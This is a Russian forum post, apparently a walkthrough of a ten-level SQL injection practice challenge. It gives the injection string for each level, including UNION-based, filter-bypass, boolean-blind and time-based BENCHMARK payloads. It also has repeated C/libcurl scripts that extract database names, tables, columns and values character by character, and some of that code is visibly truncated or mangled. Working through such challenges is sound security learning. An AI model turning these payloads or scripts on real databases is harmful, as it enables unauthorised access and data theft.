|
Новичок
Регистрация: 25.06.2015
Сообщений: 3
Провел на форуме: 1034
Репутация:
0
|
|
Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.
- Все просто, вводим запрос как он будет:
Код:
select pass from users where id=12;
Ответ: QwErTy
- Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#
В итоге пучится :
Код:
select * from users where id=2 or login='' or id=9;#'
# - начало комментария, все что за ней - отпросится.
Ответ: secreto
- То же самое: ' or id=13;#
Код:
select * from users where id=2 or login='' or id=13;#' limit 1
Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда
Ответ: iwanttogo4
- Нужно отбросить лимит и приклеить еще один запрос:
Код:
select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
Ответ: dg
- То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:
Код:
select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
Ответ: thisisapass232
- Нужно решить проблему фильтрации кавычки:
Код:
select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
Ответ: ivarywantlevel7
Хорошо, что вы не знаете как я решал задачу сначала...
- Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).
Пробелы успешно меняются на /**/.
Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).
Код:
select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
Ответ: level8please
Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
- Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.
Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):
Код:
0 union select * from users where login='fast' and LENGTH(pass)>3
нашло одного такого, пароль явно длиннее трех символов
[CODE]
0 union select * from users where login='fast' and LENGTH(pass)
.SpoilerTarget" type="button">Spoiler: Код
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char *ret;
char url[255];
char symb=0;
int i,i1;
char res=0;
printf("Password charcode: 0x");
for(i=1;i
Все основано на следующем запросе (привожу только мою часть):
Код:
0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
Ответ: 9levlpass
- Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
int getLoginLength(int id)
{
char url[255], *ret, state;
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id) ;
ret=NULL;
curlPOST(url,NULL,&ret);
state=*(ret+394);
free(ret);
if(state!='1')return -1;
int cmax=20;//будем считать что нет логинов длиннее 20
while(1)
{
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
В итоге их логины:- 48
- 131
- 125
- 1104
- 182
- 51
- 195
- 5
- 136
- 121
- 127
Ответ: 2225
- Слепой запрос без вывода, time-based injection.
Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).
Код:
select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%%29+from+information_schema.schemata%%29%%3D%d%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.
Сначала находим длину.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[420], *ret, state;
int i;
double time[50];
int dbNameLen=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+length%%28schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("Db name have %d characters\n",dbNameLen);
break;
}
else
printf("we have mote than %d characters\n",dbNameLen);
++dbNameLen;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все основано на этом запросе выше.
Длина имени базы равна 7 символов.
Теперь имя. По буквам (из за неточности пришлось увеличить задержку).
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29% %2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+B OMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%2 9%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
База называется "level10". Какой сюрприз. Мог бы и догадатся.
Код:
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На этом запросе основывался поиск имени базы
Теперь найдем количество таблиц в базе.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d table\n",colcount);
break;
}
else
printf("we have mote than %d tables\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Все на основе запроса выше.
Таблица одна. Теперь ее имя.
Как всегда, сначала его длинна.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+++where+table_schema%%3D%%27level10%%27+and+length%%28table_name%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d symbols\n",colcount);
break;
}
else
printf("we have mote than %d symbols\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Длина имени таблицы - 11 символов.
А вот теперь ее имя.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i;
for(i=0;i
Код:
select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Имя таблицы: davidblayne
Вдруг это уже ответ? Нет, нас еще помучают.
Теперь количество строк ней (хоть это не сложно):
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[255], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.
Теперь количество столбцов.
.SpoilerTarget" type="button">Spoiler
Код:
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
void main()
{
char url[320], *ret, state;
int i;
double time[50];
int colcount=0;
while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}
system("pause");
}
Код:
select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше
Тут 5 столбцов. Теперь их имена.
Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.
У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,int columnNum)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CEN CODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas +Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",column Num,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
for(i=0;i
Код:
select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).- first
- second
- morkovka
- wtf
- genius
Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.
.SpoilerTarget" type="button">Spoiler
[CODE]
#include
#include
#include
#include
static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}
int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,char *tableName)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMA RK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2 C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cn ull%%29%%3B",tableName,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
char *tableList[]={"first","second","morkovka","wtf","genius"};
for(i=0;i
Код:
select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Содержимое базы следующее:- 55
- 44
- wantamorkovka
- wtf?
- yes
Что из них ответ - догадайтесь сами. Квест пройден.
|